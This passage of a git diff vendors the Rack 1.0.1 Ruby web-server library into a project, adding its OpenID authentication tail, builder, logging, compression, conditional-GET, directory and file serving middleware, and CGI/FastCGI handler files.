+        req.env['rack.auth.openid.response'] = oid
+        req.env['rack.errors'].puts(oid.message)
+        p oid if $DEBUG
+
+        raise unless ValidStatus.include?(oid.status)
+        __send__(oid.status, oid, req, session)
+      end
+
+      # The first argument should be the main extension module.
+      # The extension module should contain the constants:
+      #   * class Request, should have OpenID::Extension as an ancestor
+      #   * class Response, should have OpenID::Extension as an ancestor
+      #   * string NS_URI, which defining the namespace of the extension
+      #
+      # All trailing arguments will be passed to extension::Request.new in
+      # #check.
+      # The openid response will be passed to
+      # extension::Response#from_success_response, #get_extension_args will be
+      # called on the result to attain the gathered data.
+      #
+      # This method returns the key at which the response data will be found in
+      # the session, which is the namespace uri by default.
+
+      def add_extension(ext, *args)
+        raise BadExtension unless valid_extension?(ext)
+        extensions[ext] = args
+        return ext::NS_URI
+      end
+
+      # Checks the validitity, in the context of usage, of a submitted
+      # extension.
+
+      def valid_extension?(ext)
+        if not %w[NS_URI Request Response].all?{|c| ext.const_defined?(c) }
+          raise ArgumentError, 'Extension is missing constants.'
+        elsif not ext::Response.respond_to?(:from_success_response)
+          raise ArgumentError, 'Response is missing required method.'
+        end
+        return true
+      rescue
+        return false
+      end
+
+      # Checks the provided uri to ensure it'd be considered within the realm.
+      # is currently not compatible with wildcard realms.
+
+      def within_realm? uri
+        uri = URI.parse(uri.to_s)
+        realm = URI.parse(self.realm)
+        return false unless uri.absolute?
+        return false unless uri.path[0, realm.path.size] == realm.path
+        return false unless uri.host == realm.host or realm.host[/^\*\./]
+        # for wildcard support, is awkward with URI limitations
+        realm_match = Regexp.escape(realm.host).
+          sub(/^\*\./,"^#{URI::REGEXP::PATTERN::URIC_NO_SLASH}+.")+'$'
+        return false unless uri.host.match(realm_match)
+        return true
+      end
+      alias_method :include?, :within_realm?
+
+      protected
+
+      ### These methods define some of the boilerplate responses.
+
+      # Returns an html form page for posting to an Identity Provider if the
+      # GET request would exceed the upper URI length limit.
+
+      def confirm_post_params(oid, realm, return_to, immediate)
+        Rack::Response.new.finish do |r|
+          r.write '<html><head><title>Confirm...</title></head><body>'
+          r.write oid.form_markup(realm, return_to, immediate)
+          r.write '</body></html>'
+        end
+      end
+
+      # Returns a 303 redirect with the destination of that provided by the
+      # argument.
+
+      def redirect(uri)
+        [ 303, {'Content-Length'=>'0', 'Content-Type'=>'text/plain',
+          'Location' => uri},
+          [] ]
+      end
+
+      # Returns an empty 400 response.
+
+      def bad_request
+        [ 400, {'Content-Type'=>'text/plain', 'Content-Length'=>'0'},
+          [''] ]
+      end
+
+      # Returns a basic unauthorized 401 response.
+
+      def unauthorized
+        [ 401, {'Content-Type' => 'text/plain', 'Content-Length' => '13'},
+          ['Unauthorized.'] ]
+      end
+
+      # Returns a basic access denied 403 response.
+
+      def access_denied
+        [ 403, {'Content-Type' => 'text/plain', 'Content-Length' => '14'},
+          ['Access denied.'] ]
+      end
+
+      # Returns a 503 response to be used if communication with the remote
+      # OpenID server fails.
+
+      def foreign_server_failure
+        [ 503, {'Content-Type'=>'text/plain', 'Content-Length' => '23'},
+          ['Foreign server failure.'] ]
+      end
+
+      private
+
+      ### These methods are called after a transaction is completed, depending
+      # on its outcome. These should all return a rack compatible response.
+      # You'd want to override these to provide additional functionality.
+
+      # Called to complete processing on a successful transaction.
+      # Within the openid session, :openid_identity and :openid_identifier are
+      # set to the user friendly and the standard representation of the
+      # validated identity. All other data in the openid session is cleared.
+
+      def success(oid, request, session)
+        session.clear
+        session[:openid_identity]   = oid.display_identifier
+        session[:openid_identifier] = oid.identity_url
+        extensions.keys.each do |ext|
+          label     = ext.name[/[^:]+$/].downcase
+          response  = ext::Response.from_success_response(oid)
+          session[label] = response.data
+        end
+        redirect(realm)
+      end
+
+      # Called if the Identity Provider indicates further setup by the user is
+      # required.
+      # The identifier is retrived from the openid session at :openid_param.
+      # And :setup_needed is set to true to prevent looping.
+
+      def setup_needed(oid, request, session)
+        identifier = session[:openid_param]
+        session[:setup_needed] = true
+        redirect req.script_name + '?' + openid_param + '=' + identifier
+      end
+
+      # Called if the user indicates they wish to cancel identification.
+      # Data within openid session is cleared.
+
+      def cancel(oid, request, session)
+        session.clear
+        access_denied
+      end
+
+      # Called if the Identity Provider indicates the user is unable to confirm
+      # their identity. Data within the openid session is left alone, in case
+      # of swarm auth attacks.
+
+      def failure(oid, request, session)
+        unauthorized
+      end
+    end
+
+    # A class developed out of the request to use OpenID as an authentication
+    # middleware. The request will be sent to the OpenID instance unless the
+    # block evaluates to true. For example in rackup, you can use it as such:
+    #
+    #   use Rack::Session::Pool
+    #   use Rack::Auth::OpenIDAuth, realm, openid_options do |env|
+    #     env['rack.session'][:authkey] == a_string
+    #   end
+    #   run RackApp
+    #
+    # Or simply:
+    #
+    #   app = Rack::Auth::OpenIDAuth.new app, realm, openid_options, &auth
+
+    class OpenIDAuth < Rack::Auth::AbstractHandler
+      attr_reader :oid
+      def initialize(app, realm, options={}, &auth)
+        @oid = OpenID.new(realm, options)
+        super(app, &auth)
+      end
+
+      def call(env)
+        to = auth.call(env) ? @app : @oid
+        to.call env
+      end
+    end
+  end
+end
diff --git a/vendor/gems/rack-1.0.1/lib/rack/builder.rb b/vendor/gems/rack-1.0.1/lib/rack/builder.rb
new file mode 100644
index 00000000..295235e5
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/lib/rack/builder.rb
@@ -0,0 +1,63 @@
+module Rack
+  # Rack::Builder implements a small DSL to iteratively construct Rack
+  # applications.
+  #
+  # Example:
+  #
+  #  app = Rack::Builder.new {
+  #    use Rack::CommonLogger
+  #    use Rack::ShowExceptions
+  #    map "/lobster" do
+  #      use Rack::Lint
+  #      run Rack::Lobster.new
+  #    end
+  #  }
+  #
+  # Or
+  #
+  #  app = Rack::Builder.app do
+  #    use Rack::CommonLogger
+  #    lambda { |env| [200, {'Content-Type' => 'text/plain'}, 'OK'] }
+  #  end
+  #
+  # +use+ adds a middleware to the stack, +run+ dispatches to an application.
+  # You can use +map+ to construct a Rack::URLMap in a convenient way.
+
+  class Builder
+    def initialize(&block)
+      @ins = []
+      instance_eval(&block) if block_given?
+    end
+
+    def self.app(&block)
+      self.new(&block).to_app
+    end
+
+    def use(middleware, *args, &block)
+      @ins << lambda { |app| middleware.new(app, *args, &block) }
+    end
+
+    def run(app)
+      @ins << app #lambda { |nothing| app }
+    end
+
+    def map(path, &block)
+      if @ins.last.kind_of? Hash
+        @ins.last[path] = self.class.new(&block).to_app
+      else
+        @ins << {}
+        map(path, &block)
+      end
+    end
+
+    def to_app
+      @ins[-1] = Rack::URLMap.new(@ins.last)  if Hash === @ins.last
+      inner_app = @ins.last
+      @ins[0...-1].reverse.inject(inner_app) { |a, e| e.call(a) }
+    end
+
+    def call(env)
+      to_app.call(env)
+    end
+  end
+end
diff --git a/vendor/gems/rack-1.0.1/lib/rack/cascade.rb b/vendor/gems/rack-1.0.1/lib/rack/cascade.rb
new file mode 100644
index 00000000..a038aa11
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/lib/rack/cascade.rb
@@ -0,0 +1,36 @@
+module Rack
+  # Rack::Cascade tries an request on several apps, and returns the
+  # first response that is not 404 (or in a list of configurable
+  # status codes).
+
+  class Cascade
+    attr_reader :apps
+
+    def initialize(apps, catch=404)
+      @apps = apps
+      @catch = [*catch]
+    end
+
+    def call(env)
+      status = headers = body = nil
+      raise ArgumentError, "empty cascade"  if @apps.empty?
+      @apps.each { |app|
+        begin
+          status, headers, body = app.call(env)
+          break  unless @catch.include?(status.to_i)
+        end
+      }
+      [status, headers, body]
+    end
+
+    def add app
+      @apps << app
+    end
+
+    def include? app
+      @apps.include? app
+    end
+
+    alias_method :<<, :add
+  end
+end
diff --git a/vendor/gems/rack-1.0.1/lib/rack/chunked.rb b/vendor/gems/rack-1.0.1/lib/rack/chunked.rb
new file mode 100644
index 00000000..280d89dd
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/lib/rack/chunked.rb
@@ -0,0 +1,49 @@
+require 'rack/utils'
+
+module Rack
+
+  # Middleware that applies chunked transfer encoding to response bodies
+  # when the response does not include a Content-Length header.
+  class Chunked
+    include Rack::Utils
+
+    def initialize(app)
+      @app = app
+    end
+
+    def call(env)
+      status, headers, body = @app.call(env)
+      headers = HeaderHash.new(headers)
+
+      if env['HTTP_VERSION'] == 'HTTP/1.0' ||
+         STATUS_WITH_NO_ENTITY_BODY.include?(status) ||
+         headers['Content-Length'] ||
+         headers['Transfer-Encoding']
+        [status, headers.to_hash, body]
+      else
+        dup.chunk(status, headers, body)
+      end
+    end
+
+    def chunk(status, headers, body)
+      @body = body
+      headers.delete('Content-Length')
+      headers['Transfer-Encoding'] = 'chunked'
+      [status, headers.to_hash, self]
+    end
+
+    def each
+      term = "\r\n"
+      @body.each do |chunk|
+        size = bytesize(chunk)
+        next if size == 0
+        yield [size.to_s(16), term, chunk, term].join
+      end
+      yield ["0", term, "", term].join
+    end
+
+    def close
+      @body.close if @body.respond_to?(:close)
+    end
+  end
+end
diff --git a/vendor/gems/rack-1.0.1/lib/rack/commonlogger.rb b/vendor/gems/rack-1.0.1/lib/rack/commonlogger.rb
new file mode 100644
index 00000000..5e68ac62
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/lib/rack/commonlogger.rb
@@ -0,0 +1,61 @@
+module Rack
+  # Rack::CommonLogger forwards every request to an +app+ given, and
+  # logs a line in the Apache common log format to the +logger+, or
+  # rack.errors by default.
+
+  class CommonLogger
+    def initialize(app, logger=nil)
+      @app = app
+      @logger = logger
+    end
+
+    def call(env)
+      dup._call(env)
+    end
+
+    def _call(env)
+      @env = env
+      @logger ||= self
+      @time = Time.now
+      @status, @header, @body = @app.call(env)
+      [@status, @header, self]
+    end
+
+    def close
+      @body.close if @body.respond_to? :close
+    end
+
+    # By default, log to rack.errors.
+    def <<(str)
+      @env["rack.errors"].write(str)
+      @env["rack.errors"].flush
+    end
+
+    def each
+      length = 0
+      @body.each { |part|
+        length += part.size
+        yield part
+      }
+
+      @now = Time.now
+
+      # Common Log Format: http://httpd.apache.org/docs/1.3/logs.html#common
+      # lilith.local - - [07/Aug/2006 23:58:02] "GET / HTTP/1.1" 500 -
+      #             %{%s - %s [%s] "%s %s%s %s" %d %s\n} %
+      @logger << %{%s - %s [%s] "%s %s%s %s" %d %s %0.4f\n} %
+        [
+         @env['HTTP_X_FORWARDED_FOR'] || @env["REMOTE_ADDR"] || "-",
+         @env["REMOTE_USER"] || "-",
+         @now.strftime("%d/%b/%Y %H:%M:%S"),
+         @env["REQUEST_METHOD"],
+         @env["PATH_INFO"],
+         @env["QUERY_STRING"].empty? ? "" : "?"+@env["QUERY_STRING"],
+         @env["HTTP_VERSION"],
+         @status.to_s[0..3],
+         (length.zero? ? "-" : length.to_s),
+         @now - @time
+        ]
+    end
+  end
+end
diff --git a/vendor/gems/rack-1.0.1/lib/rack/conditionalget.rb b/vendor/gems/rack-1.0.1/lib/rack/conditionalget.rb
new file mode 100644
index 00000000..046ebdb0
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/lib/rack/conditionalget.rb
@@ -0,0 +1,47 @@
+require 'rack/utils'
+
+module Rack
+
+  # Middleware that enables conditional GET using If-None-Match and
+  # If-Modified-Since. The application should set either or both of the
+  # Last-Modified or Etag response headers according to RFC 2616. When
+  # either of the conditions is met, the response body is set to be zero
+  # length and the response status is set to 304 Not Modified.
+  #
+  # Applications that defer response body generation until the body's each
+  # message is received will avoid response body generation completely when
+  # a conditional GET matches.
+  #
+  # Adapted from Michael Klishin's Merb implementation:
+  # http://github.com/wycats/merb-core/tree/master/lib/merb-core/rack/middleware/conditional_get.rb
+  class ConditionalGet
+    def initialize(app)
+      @app = app
+    end
+
+    def call(env)
+      return @app.call(env) unless %w[GET HEAD].include?(env['REQUEST_METHOD'])
+
+      status, headers, body = @app.call(env)
+      headers = Utils::HeaderHash.new(headers)
+      if etag_matches?(env, headers) || modified_since?(env, headers)
+        status = 304
+        headers.delete('Content-Type')
+        headers.delete('Content-Length')
+        body = []
+      end
+      [status, headers, body]
+    end
+
+  private
+    def etag_matches?(env, headers)
+      etag = headers['Etag'] and etag == env['HTTP_IF_NONE_MATCH']
+    end
+
+    def modified_since?(env, headers)
+      last_modified = headers['Last-Modified'] and
+        last_modified == env['HTTP_IF_MODIFIED_SINCE']
+    end
+  end
+
+end
diff --git a/vendor/gems/rack-1.0.1/lib/rack/content_length.rb b/vendor/gems/rack-1.0.1/lib/rack/content_length.rb
new file mode 100644
index 00000000..1e56d438
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/lib/rack/content_length.rb
@@ -0,0 +1,29 @@
+require 'rack/utils'
+
+module Rack
+  # Sets the Content-Length header on responses with fixed-length bodies.
+  class ContentLength
+    include Rack::Utils
+
+    def initialize(app)
+      @app = app
+    end
+
+    def call(env)
+      status, headers, body = @app.call(env)
+      headers = HeaderHash.new(headers)
+
+      if !STATUS_WITH_NO_ENTITY_BODY.include?(status) &&
+         !headers['Content-Length'] &&
+         !headers['Transfer-Encoding'] &&
+         (body.respond_to?(:to_ary) || body.respond_to?(:to_str))
+
+        body = [body] if body.respond_to?(:to_str) # rack 0.4 compat
+        length = body.to_ary.inject(0) { |len, part| len + bytesize(part) }
+        headers['Content-Length'] = length.to_s
+      end
+
+      [status, headers, body]
+    end
+  end
+end
diff --git a/vendor/gems/rack-1.0.1/lib/rack/content_type.rb b/vendor/gems/rack-1.0.1/lib/rack/content_type.rb
new file mode 100644
index 00000000..0c1e1ca3
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/lib/rack/content_type.rb
@@ -0,0 +1,23 @@
+require 'rack/utils'
+
+module Rack
+
+  # Sets the Content-Type header on responses which don't have one.
+  #
+  # Builder Usage:
+  #   use Rack::ContentType, "text/plain"
+  #
+  # When no content type argument is provided, "text/html" is assumed.
+  class ContentType
+    def initialize(app, content_type = "text/html")
+      @app, @content_type = app, content_type
+    end
+
+    def call(env)
+      status, headers, body = @app.call(env)
+      headers = Utils::HeaderHash.new(headers)
+      headers['Content-Type'] ||= @content_type
+      [status, headers.to_hash, body]
+    end
+  end
+end
diff --git a/vendor/gems/rack-1.0.1/lib/rack/deflater.rb b/vendor/gems/rack-1.0.1/lib/rack/deflater.rb
new file mode 100644
index 00000000..ad0f5316
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/lib/rack/deflater.rb
@@ -0,0 +1,96 @@
+require "zlib"
+require "stringio"
+require "time"  # for Time.httpdate
+require 'rack/utils'
+
+module Rack
+  class Deflater
+    def initialize(app)
+      @app = app
+    end
+
+    def call(env)
+      status, headers, body = @app.call(env)
+      headers = Utils::HeaderHash.new(headers)
+
+      # Skip compressing empty entity body responses and responses with
+      # no-transform set.
+      if Utils::STATUS_WITH_NO_ENTITY_BODY.include?(status) ||
+          headers['Cache-Control'].to_s =~ /\bno-transform\b/
+        return [status, headers, body]
+      end
+
+      request = Request.new(env)
+
+      encoding = Utils.select_best_encoding(%w(gzip deflate identity),
+                                            request.accept_encoding)
+
+      # Set the Vary HTTP header.
+      vary = headers["Vary"].to_s.split(",").map { |v| v.strip }
+      unless vary.include?("*") || vary.include?("Accept-Encoding")
+        headers["Vary"] = vary.push("Accept-Encoding").join(",")
+      end
+
+      case encoding
+      when "gzip"
+        headers['Content-Encoding'] = "gzip"
+        headers.delete('Content-Length')
+        mtime = headers.key?("Last-Modified") ?
+          Time.httpdate(headers["Last-Modified"]) : Time.now
+        [status, headers, GzipStream.new(body, mtime)]
+      when "deflate"
+        headers['Content-Encoding'] = "deflate"
+        headers.delete('Content-Length')
+        [status, headers, DeflateStream.new(body)]
+      when "identity"
+        [status, headers, body]
+      when nil
+        message = "An acceptable encoding for the requested resource #{request.fullpath} could not be found."
+        [406, {"Content-Type" => "text/plain", "Content-Length" => message.length.to_s}, [message]]
+      end
+    end
+
+    class GzipStream
+      def initialize(body, mtime)
+        @body = body
+        @mtime = mtime
+      end
+
+      def each(&block)
+        @writer = block
+        gzip  =::Zlib::GzipWriter.new(self)
+        gzip.mtime = @mtime
+        @body.each { |part| gzip.write(part) }
+        @body.close if @body.respond_to?(:close)
+        gzip.close
+        @writer = nil
+      end
+
+      def write(data)
+        @writer.call(data)
+      end
+    end
+
+    class DeflateStream
+      DEFLATE_ARGS = [
+        Zlib::DEFAULT_COMPRESSION,
+        # drop the zlib header which causes both Safari and IE to choke
+        -Zlib::MAX_WBITS,
+        Zlib::DEF_MEM_LEVEL,
+        Zlib::DEFAULT_STRATEGY
+      ]
+
+      def initialize(body)
+        @body = body
+      end
+
+      def each
+        deflater = ::Zlib::Deflate.new(*DEFLATE_ARGS)
+        @body.each { |part| yield deflater.deflate(part) }
+        @body.close if @body.respond_to?(:close)
+        yield deflater.finish
+        nil
+      end
+    end
+  end
+end
diff --git a/vendor/gems/rack-1.0.1/lib/rack/directory.rb b/vendor/gems/rack-1.0.1/lib/rack/directory.rb
new file mode 100644
index 00000000..acdd3029
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/lib/rack/directory.rb
@@ -0,0 +1,153 @@
+require 'time'
+require 'rack/utils'
+require 'rack/mime'
+
+module Rack
+  # Rack::Directory serves entries below the +root+ given, according to the
+  # path info of the Rack request. If a directory is found, the file's contents
+  # will be presented in an html based index. If a file is found, the env will
+  # be passed to the specified +app+.
+  #
+  # If +app+ is not specified, a Rack::File of the same +root+ will be used.
+
+  class Directory
+    DIR_FILE = "<tr><td class='name'><a href='%s'>%s</a></td><td class='size'>%s</td><td class='type'>%s</td><td class='mtime'>%s</td></tr>"
+    DIR_PAGE = <<-PAGE
+<html><head>
+  <title>%s</title>
+  <meta http-equiv="content-type" content="text/html; charset=utf-8" />
+  <style type='text/css'>
+table { width:100%%; }
+.name { text-align:left; }
+.size, .mtime { text-align:right; }
+.type { width:11em; }
+.mtime { width:15em; }
+  </style>
+</head><body>
+<h1>%s</h1>
+<hr />
+<table>
+  <tr>
+    <th class='name'>Name</th>
+    <th class='size'>Size</th>
+    <th class='type'>Type</th>
+    <th class='mtime'>Last Modified</th>
+  </tr>
+%s
+</table>
+<hr />
+</body></html>
+    PAGE
+
+    attr_reader :files
+    attr_accessor :root, :path
+
+    def initialize(root, app=nil)
+      @root = F.expand_path(root)
+      @app = app || Rack::File.new(@root)
+    end
+
+    def call(env)
+      dup._call(env)
+    end
+
+    F = ::File
+
+    def _call(env)
+      @env = env
+      @script_name = env['SCRIPT_NAME']
+      @path_info = Utils.unescape(env['PATH_INFO'])
+
+      if forbidden = check_forbidden
+        forbidden
+      else
+        @path = F.join(@root, @path_info)
+        list_path
+      end
+    end
+
+    def check_forbidden
+      return unless @path_info.include? ".."
+
+      body = "Forbidden\n"
+      size = Rack::Utils.bytesize(body)
+      return [403, {"Content-Type" => "text/plain","Content-Length" => size.to_s}, [body]]
+    end
+
+    def list_directory
+      @files = [['../','Parent Directory','','','']]
+      glob = F.join(@path, '*')
+
+      Dir[glob].sort.each do |node|
+        stat = stat(node)
+        next  unless stat
+        basename = F.basename(node)
+        ext = F.extname(node)
+
+        url = F.join(@script_name, @path_info, basename)
+        size = stat.size
+        type = stat.directory? ? 'directory' : Mime.mime_type(ext)
+        size = stat.directory? ? '-' : filesize_format(size)
+        mtime = stat.mtime.httpdate
+        url << '/'  if stat.directory?
+        basename << '/'  if stat.directory?
+
+        @files << [ url, basename, size, type, mtime ]
+      end
+
+      return [ 200, {'Content-Type'=>'text/html; charset=utf-8'}, self ]
+    end
+
+    def stat(node, max = 10)
+      F.stat(node)
+    rescue Errno::ENOENT, Errno::ELOOP
+      return nil
+    end
+
+    # TODO: add correct response if not readable, not sure if 404 is the best
+    #       option
+    def list_path
+      @stat = F.stat(@path)
+
+      if @stat.readable?
+        return @app.call(@env) if @stat.file?
+        return list_directory if @stat.directory?
+      else
+        raise Errno::ENOENT, 'No such file or directory'
+      end
+
+    rescue Errno::ENOENT, Errno::ELOOP
+      return entity_not_found
+    end
+
+    def entity_not_found
+      body = "Entity not found: #{@path_info}\n"
+      size = Rack::Utils.bytesize(body)
+      return [404, {"Content-Type" => "text/plain", "Content-Length" => size.to_s}, [body]]
+    end
+
+    def each
+      show_path = @path.sub(/^#{@root}/,'')
+      files = @files.map{|f| DIR_FILE % f }*"\n"
+      page  = DIR_PAGE % [ show_path, show_path , files ]
+      page.each_line{|l| yield l }
+    end
+
+    # Stolen from Ramaze
+
+    FILESIZE_FORMAT = [
+      ['%.1fT', 1 << 40],
+      ['%.1fG', 1 << 30],
+      ['%.1fM', 1 << 20],
+      ['%.1fK', 1 << 10],
+    ]
+
+    def filesize_format(int)
+      FILESIZE_FORMAT.each do |format, size|
+        return format % (int.to_f / size) if int >= size
+      end
+
+      int.to_s + 'B'
+    end
+  end
+end
diff --git a/vendor/gems/rack-1.0.1/lib/rack/file.rb b/vendor/gems/rack-1.0.1/lib/rack/file.rb
new file mode 100644
index 00000000..fe62bd6b
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/lib/rack/file.rb
@@ -0,0 +1,88 @@
+require 'time'
+require 'rack/utils'
+require 'rack/mime'
+
+module Rack
+  # Rack::File serves files below the +root+ given, according to the
+  # path info of the Rack request.
+  #
+  # Handlers can detect if bodies are a Rack::File, and use mechanisms
+  # like sendfile on the +path+.
+
+  class File
+    attr_accessor :root
+    attr_accessor :path
+
+    alias :to_path :path
+
+    def initialize(root)
+      @root = root
+    end
+
+    def call(env)
+      dup._call(env)
+    end
+
+    F = ::File
+
+    def _call(env)
+      @path_info = Utils.unescape(env["PATH_INFO"])
+      return forbidden  if @path_info.include? ".."
+
+      @path = F.join(@root, @path_info)
+
+      begin
+        if F.file?(@path) && F.readable?(@path)
+          serving
+        else
+          raise Errno::EPERM
+        end
+      rescue SystemCallError
+        not_found
+      end
+    end
+
+    def forbidden
+      body = "Forbidden\n"
+      [403, {"Content-Type" => "text/plain",
+             "Content-Length" => body.size.to_s},
+       [body]]
+    end
+
+    # NOTE:
+    #   We check via File::size? whether this file provides size info
+    #   via stat (e.g. /proc files often don't), otherwise we have to
+    #   figure it out by reading the whole file into memory. And while
+    #   we're at it we also use this as body then.
+
+    def serving
+      if size = F.size?(@path)
+        body = self
+      else
+        body = [F.read(@path)]
+        size = Utils.bytesize(body.first)
+      end
+
+      [200, {
+        "Last-Modified"  => F.mtime(@path).httpdate,
+        "Content-Type"   => Mime.mime_type(F.extname(@path), 'text/plain'),
+        "Content-Length" => size.to_s
+      }, body]
+    end
+
+    def not_found
+      body = "File not found: #{@path_info}\n"
+      [404, {"Content-Type" => "text/plain",
+         "Content-Length" => body.size.to_s},
+       [body]]
+    end
+
+    def each
+      F.open(@path, "rb") { |file|
+        while part = file.read(8192)
+          yield part
+        end
+      }
+    end
+  end
+end
diff --git a/vendor/gems/rack-1.0.1/lib/rack/handler.rb b/vendor/gems/rack-1.0.1/lib/rack/handler.rb
new file mode 100644
index 00000000..5624a1e7
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/lib/rack/handler.rb
@@ -0,0 +1,69 @@
+module Rack
+  # *Handlers* connect web servers with Rack.
+  #
+  # Rack includes Handlers for Mongrel, WEBrick, FastCGI, CGI, SCGI
+  # and LiteSpeed.
+  #
+  # Handlers usually are activated by calling <tt>MyHandler.run(myapp)</tt>.
+  # A second optional hash can be passed to include server-specific
+  # configuration.
+  module Handler
+    def self.get(server)
+      return unless server
+      server = server.to_s
+
+      if klass = @handlers[server]
+        obj = Object
+        klass.split("::").each { |x| obj = obj.const_get(x) }
+        obj
+      else
+        try_require('rack/handler', server)
+        const_get(server)
+      end
+    end
+
+    # Transforms server-name constants to their canonical form as filenames,
+    # then tries to require them but silences the LoadError if not found
+    #
+    # Naming convention:
+    #
+    #   Foo # => 'foo'
+    #   FooBar # => 'foo_bar.rb'
+    #   FooBAR # => 'foobar.rb'
+    #   FOObar # => 'foobar.rb'
+    #   FOOBAR # => 'foobar.rb'
+    #   FooBarBaz # => 'foo_bar_baz.rb'
+    def self.try_require(prefix, const_name)
+      file = const_name.gsub(/^[A-Z]+/) { |pre| pre.downcase }.
+        gsub(/[A-Z]+[^A-Z]/, '_\&').downcase
+
+      require(::File.join(prefix, file))
+    rescue LoadError
+    end
+
+    def self.register(server, klass)
+      @handlers ||= {}
+      @handlers[server] = klass
+    end
+
+    autoload :CGI, "rack/handler/cgi"
+    autoload :FastCGI, "rack/handler/fastcgi"
+    autoload :Mongrel, "rack/handler/mongrel"
+    autoload :EventedMongrel, "rack/handler/evented_mongrel"
+    autoload :SwiftipliedMongrel, "rack/handler/swiftiplied_mongrel"
+    autoload :WEBrick, "rack/handler/webrick"
+    autoload :LSWS, "rack/handler/lsws"
+    autoload :SCGI, "rack/handler/scgi"
+    autoload :Thin, "rack/handler/thin"
+
+    register 'cgi', 'Rack::Handler::CGI'
+    register 'fastcgi', 'Rack::Handler::FastCGI'
+    register 'mongrel', 'Rack::Handler::Mongrel'
+    register 'emongrel', 'Rack::Handler::EventedMongrel'
+    register 'smongrel', 'Rack::Handler::SwiftipliedMongrel'
+    register 'webrick', 'Rack::Handler::WEBrick'
+    register 'lsws', 'Rack::Handler::LSWS'
+    register 'scgi', 'Rack::Handler::SCGI'
+    register 'thin', 'Rack::Handler::Thin'
+  end
+end
diff --git a/vendor/gems/rack-1.0.1/lib/rack/handler/cgi.rb b/vendor/gems/rack-1.0.1/lib/rack/handler/cgi.rb
new file mode 100644
index 00000000..f45f3d73
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/lib/rack/handler/cgi.rb
@@ -0,0 +1,61 @@
+require 'rack/content_length'
+
+module Rack
+  module Handler
+    class CGI
+      def self.run(app, options=nil)
+        serve app
+      end
+
+      def self.serve(app)
+        app = ContentLength.new(app)
+
+        env = ENV.to_hash
+        env.delete "HTTP_CONTENT_LENGTH"
+
+        env["SCRIPT_NAME"] = ""  if env["SCRIPT_NAME"] == "/"
+
+        env.update({"rack.version" => [1,0],
+                     "rack.input" => $stdin,
+                     "rack.errors" => $stderr,
+
+                     "rack.multithread" => false,
+                     "rack.multiprocess" => true,
+                     "rack.run_once" => true,
+
+                     "rack.url_scheme" => ["yes", "on", "1"].include?(ENV["HTTPS"]) ? "https" : "http"
+                   })
+
+        env["QUERY_STRING"] ||= ""
+        env["HTTP_VERSION"] ||= env["SERVER_PROTOCOL"]
+        env["REQUEST_PATH"] ||= "/"
+
+        status, headers, body = app.call(env)
+        begin
+          send_headers status, headers
+          send_body body
+        ensure
+          body.close  if body.respond_to? :close
+        end
+      end
+
+      def self.send_headers(status, headers)
+        STDOUT.print "Status: #{status}\r\n"
+        headers.each { |k, vs|
+          vs.split("\n").each { |v|
+            STDOUT.print "#{k}: #{v}\r\n"
+          }
+        }
+        STDOUT.print "\r\n"
+        STDOUT.flush
+      end
+
+      def self.send_body(body)
+        body.each { |part|
+          STDOUT.print part
+          STDOUT.flush
+        }
+      end
+    end
+  end
+end
diff --git a/vendor/gems/rack-1.0.1/lib/rack/handler/evented_mongrel.rb b/vendor/gems/rack-1.0.1/lib/rack/handler/evented_mongrel.rb
new file mode 100644
index 00000000..0f5cbf72
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/lib/rack/handler/evented_mongrel.rb
@@ -0,0 +1,8 @@
+require 'swiftcore/evented_mongrel'
+
+module Rack
+  module Handler
+    class EventedMongrel < Handler::Mongrel
+    end
+  end
+end
diff --git a/vendor/gems/rack-1.0.1/lib/rack/handler/fastcgi.rb b/vendor/gems/rack-1.0.1/lib/rack/handler/fastcgi.rb
new file mode 100644
index 00000000..1739d659
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/lib/rack/handler/fastcgi.rb
@@ -0,0 +1,90 @@
+require 'fcgi'
+require 'socket'
+require 'rack/content_length'
+require 'rack/rewindable_input'
+
+if defined? FCGI::Stream
+  class FCGI::Stream
+    alias _rack_read_without_buffer read
+
+    def read(n, buffer=nil)
+      buf = _rack_read_without_buffer n
+      buffer.replace(buf.to_s)  if buffer
+      buf
+    end
+  end
+end
+
+module Rack
+  module Handler
+    class FastCGI
+      def self.run(app, options={})
+        file = options[:File] and STDIN.reopen(UNIXServer.new(file))
+        port = options[:Port] and STDIN.reopen(TCPServer.new(port))
+        FCGI.each { |request|
+          serve request, app
+        }
+      end
+
+      def self.serve(request, app)
+        app = Rack::ContentLength.new(app)
+
+        env = request.env
+        env.delete "HTTP_CONTENT_LENGTH"
+
+        env["SCRIPT_NAME"] = ""  if env["SCRIPT_NAME"] == "/"
+        
+        rack_input = RewindableInput.new(request.in)
+
+        env.update({"rack.version" => [1,0],
+                     "rack.input" => rack_input,
+                     "rack.errors" => request.err,
+
+                     "rack.multithread" => false,
+                     "rack.multiprocess" => true,
+                     "rack.run_once" => false,
+
+                     "rack.url_scheme" => ["yes", "on", "1"].include?(env["HTTPS"]) ? "https" : "http"
+                   })
+
+        env["QUERY_STRING"] ||= ""
+        env["HTTP_VERSION"] ||= env["SERVER_PROTOCOL"]
+        env["REQUEST_PATH"] ||= "/"
+        env.delete "PATH_INFO"  if env["PATH_INFO"] == ""
+        env.delete "CONTENT_TYPE"  if env["CONTENT_TYPE"] == ""
+        env.delete "CONTENT_LENGTH"  if env["CONTENT_LENGTH"] == ""
+
+        begin
+          status, headers, body = app.call(env)
+          begin
+            send_headers request.out, status, headers
+            send_body request.out, body
+          ensure
+            body.close  if body.respond_to? :close
+          end
+        ensure
+          rack_input.close
+          request.finish
+        end
+      end
+
+      def self.send_headers(out, status, headers)
+        out.print "Status: #{status}\r\n"
+        headers.each { |k, vs|
+          vs.split("\n").each { |v|
+            out.print "#{k}: #{v}\r\n"
+          }
+        }
+        out.print "\r\n"
+        out.flush
+      end
+
+      def self.send_body(out, body)
+        body.each { |part|
+          out.print part
+          out.flush
+        }
+      end
+    end
+  end
+end
